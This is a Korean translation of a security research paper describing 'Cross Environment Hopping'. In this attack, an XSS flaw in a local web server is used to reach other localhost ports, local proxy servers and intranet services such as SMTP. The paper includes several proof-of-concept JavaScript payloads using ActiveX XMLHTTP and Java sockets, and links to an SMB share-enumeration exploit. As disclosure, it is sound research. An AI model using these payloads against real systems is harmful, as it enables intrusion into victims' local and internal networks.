Cross Environment Hopping 저자 : Ory Segal 번역 : 강동헌 (ania84@naver.com), 김동규 (forceteam01@gmail.com) 서론 우리연구팀은증가하는로컬기계에서작동되는웹서버를필요로하는응용프로그램들을악용하는이때까지본적없는새로운웹기반공격기술을확인했다. CEH(Cross Environment Hopping) 은브라우저의공통된제약인동일 - 출처접근제한정책과결합된결과이다 CEH 기술은공격자가다른장소에설치된서버와같은다른환경으로 "Hop( 건너뛰기 )" 하기위한로컬 XXS 취약점을악용하는것을가능하게한다. 어떤환경아래공격자가원격네트워크서비스 ( 네트워크공유드라이버, 원격프로시저호출, 인트라넷메일, SQL 서버와같은 ) 에접근하는것을가능하게할지도모른다. CEH 는피해자의장비에설치된로컬웹서버에서동일한기기의다른환경으로뛰거나 "hop" 하기위해피해자의기기에설치된로컬웹서버의크로스사이트스크립트 (XXS) 취약점을이용하여작동한다. 그기술은로컬호스트도메인브라우저의 " 동일출처정책 " 접근제한속에있는기기의결함때문에성공한다. 반면에다른모든도메인브라우저는만약프로토콜, 포트, 호스트가서로같다면동일한출처를갖기위해두페이지를고려한다.: 이것은분명히로컬기기에설치된웹서버로부터발생되어진페이지의경우가아니다. 이내용은현재구현된로컬호스트에웹브라우저의동일출처정책이기존의 XXS 의취약점과결합되어, 환경이동이가능한특별한환경설정을만들고, 악의있는행동이어떤설계된포트가실행되는서버에서수행될수있다는것을증명한다. 현재브라우저의제한 브라우저는광범위한자원에접근하기위해설계되었기때문에그들의접근제한은사용자의안전을유지하기위해필수불가결하다. 브라우저가다른존재에속하
는어떤어플리케이션으로부터자원또는정보에접근하는응용프로그램을하나로제한하는정보접근의제어는필수불가결한요소이다 >> 동일출처정책 동일출처정책은사용자측면스크립트 ( 주로자바 ) 보안에서필수적인요소다. 이정책의유용한요소는고객측의스크립트가다른도메인으로부터발생된정보를읽을수없다는것이다. 이것은교차출처 (Cross orgin) HTTP 요청을만드는브라우저를막지않을지라도, 성공적으로다른도메인내용의접근하는것을제한한다. 다음의표는외부의도메인과연결하기위해자바스크립트가사용된다양한방법들을보여준다. 몇몇은동일출처에제한되어지지않지만, 내용의접근은제한한다. Method Same Origin Policy Content Access XmlHttpRequest Yes Yes Socket Connections Yes Yes IFrame Element No Same Origin Only Dynamic Form No Same Origin Only Script Element No JavaScript Content Only Image Element No Height/ Width Value Only >> XML HTTP 요청 서로다른브라우저가각각다른구현방법을사용하기때문에, XML, HTTP 요청을만드는각각의방법들이다른구성요소를사용한다는내용은흥미롭다. 예를들어 MS 인터넷익스플로어는 MS 의 ActiveX 를지원하는반면에파이어폭스는지원하지않는다. 이러한요청을만드는데다양한요소들이사용될뿐아니라행위또한다양하다. 예를들어, 인터넷익스플로어와파이어폭스에서지원되는표준 XMlHttp Requst 는모두서로다른포트 ( 같은도메인에서 ) 의교차요청을지원하지않는다. 반면, 인터넷익스플로러에서는 ActiveX 를통한많은구현방법들을제공한다. ( 이것들은 MSXML2.XMLHTTP, Microsoft.XMLHTTP 그리고다양한버전과이와같은객체들
의호환제품들을포함한다.) 파이어폭스와인터넷익스플로어 7.0 에서 XMLHttpRequest 는사용이시작될지도모른다. var xhr = new XMLHttpRequest(); 게다가익스플로어 7.0( 과이전버전 ) 에서사용이시작될지도모른다. var xhr = new ActiveXObject("Microsoft.XMLHTTP") 이행위가인터넷웹환경에서중요한영향을갖는것처럼보이지는않지만, 그것은데스트탑웹환경에서거대한영향을갖는다. : Local host domain
Cross Environment Hopping CEH 는아래의그림처럼인터넷에서피해자의컴퓨터포트로이동한다음누군가의포트 ( 환경 ) 에서다른컴퓨터로이동하는기술이다. 공격순서는포트 A 의로컬웹서버가작동하는 XSS 취약점에서공격자들의보이지않는요청 ( 아마 IFrame 요소를사용하는 ) 으로시작된다. >> 로컬웹서버의취약점 [ Vulnerabilities in Local Web Servers] 취약점종류로, XSS 는웹어플리케이션에서매우일반적이다. 많은보고들이로컬웹서버의 XSS 이슈에대해발행되었다. 예를들어, 우리자체연구팀은구글데스크탑이설치된로컬웹서버에서발견된 XSS 이슈에대한보고를발행했다.( Overtaking Google Desktop ). 우리는또한다른취약점을로컬웹서버의알고있다. 그러나현재관련된정보에대한공개를제한하고있다. >> 교차기기스크립트 (XAS) [ Cross Application Scripting] CHE 공격을시작하는두번째방법은교차응용프로그램스크립트 (XAS) 공격을악용하는것이다. 이것은새로운형태의공격이아니다. 한응용프로그램이본래의내용 ( 아마보안제약사항이적은 ) 과다른보안환경에서데이터를처리할때 XAS 가가능하다. 예를들어원하는자료를원거리서버로부터받을때와같이신뢰성있는응용프로그램에서걸러지지않고보내진신뢰할수없는출처 ( 원격웹서버 ) 에서얻을지도모르며. 그리고다시로컬호스트에보여질수도있다. 웹자료 ( 자바스크립트와같은 ) 를다운로드하고후에나타내고실행하는응용프로그램들은 XAS 에취약하다.
( Cross- Application Scripting, Security.nnov.ru) XAS 취약성의영향은일반적으로로컬컴퓨터구역으로접근이다. XAS 에대해제시된대응책들중하나는응용프로그램에의해모아진정보를제시하기위해파일시스템으로그것을로딩하는대신에로컬웹서버를사용하는것이다. 브라우저가로컬서버로부터페이지를로드한다는사실은비록응용프로그램이적절히위험한문자들을걸러내지않는다하더라도 ( 예를들어그것이 XSS 공격에취약할경우 ), 그로컬컴퓨터지역이공격자에게접근불가능할것이라는것을보장한다. 그러나이 XAS 에대한대응책은만약데스크탑어플리케이션웹인터페이스가취약하다면 CHE 공격이가능하다는것을의미한다. >> 교차포트사용 XML, HTTP 요청 [ Crossing Ports Using XML HTTP Requests] 최초의요청이보내지고, 희생자가 XSS 를사용하여피해를입은후에공격자는선택적으로 Payload 를전달할수있다. 만약희생자가 MS 인터넷익스플로어를사용하고있다면, 공격자는다른포트에서구동되는로컬웹서버에엑티브 X Microsoft XMLHTTP 요청을전달할수있다. 동일출처정책은포트 ( 로컬호스트상 ) 에적용되지않기때문에공격자는응답을읽을수있고침해시스템을통해추가요청을만들수있다. 다음의 Cross Site Scripting Payload 는어떻게 Localhost port 80 에인스톨된웹서버로부터돌아오는악의적인자바스크립트 Payload 가 Localhost port 8080 에인스톨된다른웹응용프로그램의 HTTP 요청을수용하는지또한 HTTP 응답정보에접속할수있는지를증명하고있다. <script> var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); if (xmlhttp!=null) xmlhttp.onreadystatechange=state_change; xmlhttp.open("get","http:/ / localhost:8080/ some_page.html",true); xmlhttp.send(); alert("request Sent!");
} else alert("your browser does not support XMLHTTP.") } function state_change() / / if xmlhttp shows "loaded" if (xmlhttp.readystate==4) alert('response:'+xmlhttp.responsetext); } } </ script> >> 교차포트사용소켓접속 [ Crossing Ports Using Socket Connections] 브라우저가직접적인소켓접속초기화를할수있는몇가지의고객입장의기술이쓰여질수있다. 예를들면, 자바애플릿, 플래쉬, 퀵타임은모두같은출처의서버와의직접적소켓접속을허용한다. 파이어폭스는직접적소켓접속이자바스크립트내에서자바를그대로사용함으로써허용될수있다는특징이있다. 다음코드는 9999 포트의로컬호스트에직접소켓접속을여는것이다. socket = new java.net.socket( "localhost", 9999 ); 이러한가능성을악용하여, 공격자는로컬웹서버에서이동하여피해자가실행중인어떤로컬서버로요청을보낼수있다.
이론적인결과 Cross- Environment Hopping 의잠재적악용은많은다른결과를이끌어낸다. 이내용에서는단지몇몇의악의적인사용가능성만고려할것이다. >> 교차웹응용프로그램접근 [ Cross Web Application Access] 공격자는다른포트에서작동하는웹응용프로그램에 HTTP 요청을보내기위해 ActiveX (XMLHTTP) 요소를사용할수있었다. 다른포트의웹응용프로그램작동이관련있을것같지는않기때문에 ( 로컬호스트에서 ), 이것은중요한응용프로그램손상을가져올수도있다. 로컬호스트상에서구동되는웹응용프로그램은민감한정보를포함하기쉽다.( 예 Google Desktop) >> 공개된목록공유 [ Public Share Enumeration] 이연구동안우리는공격자가 SMB 프로토콜을사용하는로컬컴퓨터에공개된공유목록을확인수있는방법을설명하는 exploit 을만들어냈다. 아래링크에서 exploit zip 파일을다운받을수있다. http://blog.watchfire.com/share_enum_example.zip >> 로컬프록시악용 [ Local Proxy Exploitation] 무엇보다가장중요한피해는피해자가로컬프록시서버를작동하는일이발생했을때가능하다. 로컬프록시서버는단지네트워크트래픽을통과하기위해사용되기때문에로컬네트워크에대한공격을위한통로로사용자의기기를사용하는것이가능하다. 로컬호스트에 HTTP 프록시를설치하는상업적제품의많은예들이있다. 우리의예를들면우리는 AVAST AntiVirus 를설치한다. 그것은 HTTP 접속방법프록싱사용을허락한다. (HTTP 접속의중요성은아래의 HTTP 접속방법을사용하는 NON- HTTP 서비스접근 설명할것이다.) 아래의 Cross- site Scripting Payload 는파이어폭스에서제공하는자바스크립트의자바소켓접속을이용하여 www.intranet.site 에 GET 요청을수행한다. 그리고로
컬호스트에서구동되는프록시를악용한다 <script> var sock = new java.net.socket("localhost", LOCAL_PROXY_PORT); var write = new java.io.dataoutputstream(new java.io.bufferedoutputstream(sock.getoutputstream())); var read = new java.io.datainputstream(sock.getinputstream()); write.writebytes ("GET http:/ / www.intranet.site:80/ HTTP/ 1.0\ r\ n\ r\ n"); write.flush(); var buf1 = java.lang.reflect.array.newinstance(java.lang.byte.type, 65536); len = read.read(buf1); var resp = ""; for (i=0;i<len;i++) resp += String.fromCharCode(buf1[ i] ) } alert(resp); </ script> 악의적인자바스크립트코드는전혀다른도메인에서온 HTTP 응답에완벽하게접근한다. >> HTTP CONNECT 방법을이용한 NON HTTP 서비스의접근 [ Accessing Non- HTTP Services Using the HTTP CONNECT Method] 몇몇프록시서버는 HTTP CONNECT 방법을사용하여 TCP 프로토콜의터널링을허락한다. 이터널링기술은프록시를통한 SSL 트래픽터널링에흔히사용된다. 그러나그것은모든트래픽의터널링에사용될수있다. 클라이언트와프록시사이의 HTTP CONNECT 터널링을위한표준적인 handshake 는아래와같이보여진다.
Client HTTP Request: CONNECT www.some.site:1234 HTTP/ 1.0 [ CRLF] User- agent: Some- Client [ CRLF] [ CRLF] Proxy Server HTTP Response: HTTP/ 1.0 200 Connection established [ CRLF] Proxy- agent: Some- Proxy/ 1.0[ CRLF] [ CRLF] 만약 handshake 가성공했다면, 클라이언트는지금만들어진 HTTP 터널을통해자유롭게어떤사이트와통신할수있다. (1234 포트의서비스를사용하여 ), 다음의 Cross- site scripting 의예는피해자컴퓨터와 SMTP 프로토콜을통해원격 SMTP 서버사이의접속을수행할수있다. 통신은 HTTP CONNECT 방법을지원하는내부에설치된프록시서버를통해터널화된다. 그리고그것은 non- HTTP 트래픽이가능한동안에동일도메인정책제한을회피한다. <script> var sock = new java.net.socket("localhost", LOCAL_PROXY_PORT); var write = new java.io.dataoutputstream(new java.io.bufferedoutputstream(sock.getoutputstream())); var read = new java.io.datainputstream(sock.getinputstream()); var buf1 = java.lang.reflect.array.newinstance(java.lang.byte.type, 65536); write.writebytes("connect mailserver:25\r\n\r\n"); alert("connect sent"); write.flush(); read.read(buf1); write.writebytes("helo mail\r\n"); alert("helo sent"); write.flush();
len = read.read(buf1); var resp = ""; for (i=0;i<len;i++) resp += String.fromCharCode(buf1[i]) } alert(resp); </script> >> Cross Environment Hopping Vs DNS Pinning CHE 공격의결과가다소 DNS Pinnig 공격과비슷하다는것은그들기술이매우다름에도중요한언급이다. DNS Pinning 는그것의목표를달성하기위한동일기원정책을우회하지만, Cross- Environment Hopping 은동일기원정책하에작동하고공격동안그것을파괴하지않는다. * 역자참조 DNS Pinning 은 DNS 변조를통해서다른도메인의데이터에접근하려는공격자를막기위해서브라우저가동일도메인에대해서는그브라우저세션동안 DNS 참조결과를변경하지않고유지하는기술이다 권장 1. 브라우저와플러그인소프트웨어제공자를위해일반적으로도메인에놓여진동일기원정책과, 만약그들이다른기원다른포트상의 ( 동일한도메인 ) 응용프로그램을다루는것이라면또한로컬호스트에서적용해야만한다. 2. 클라이언트를위해클라이언트는로컬웹서버를작동하는소프트웨어설치에매우조심해야한다. 이내용은로컬컴퓨터라는공간상의제한이취약한웹응용프로그램에서서버로서작동하는다른응용프로그램 ( 웹응용프로그램뿐만아니라 ) 의이동을막기에충분하지않는것을보여준다.
3 웹응용프로그램개발자들을위해로컬웹서버라는상황에있는웹응용프로그램을만들때웹응용프로그램보안은최고고려사항이다. 이내용은보여준다. 간단한 XSS 취약성이로컬웹응용프로그램뿐만아니라로컬에서작동하는다른응용프로그램접근을위해사용될수있다는것을보여준다. 이러한응용프로그램을설계할때이와같은위험요소를주의깊게고려하여야한다. 결론 Cross- Environment Hopping 은많은다른응용프로그램의위험성을야기할수있다. 그리고 OS 의특성을노출시킨다. 이기술은로컬웹서버가실행되는어떤시스템과관련되어있다. 시스템이하나이상의포트에서웹서버를실행할때완전히다른포트에작용하는웹응용프로그램의위험성에의해이끌어지는어떤웹응용프로그램의취약점을악용할수있다. 웹서버가다른타입의서버와공동호스트일때위험에노출될잠재성이극적으로증가한다. 로컬웹응용프로그램의취약점은직접소켓연결을열거나다른서버의취약점을이용할경우이동포인트로써의기능을제공할수있다. Cross- Environment Hopping 기술이새롭기때문에더욱더많은기술과악성코드가발견될것이라고생각된다. 이연구는단지시작일뿐이다. 그러나새로운기술의잠재적위험성에주목할필요가있다. 감사의말 이연구는 IBM Rational Application Security Group 의 Yair Amit, Adi Sharabani, Danny Allan, Ory Segal 멤버들에의해수행되었다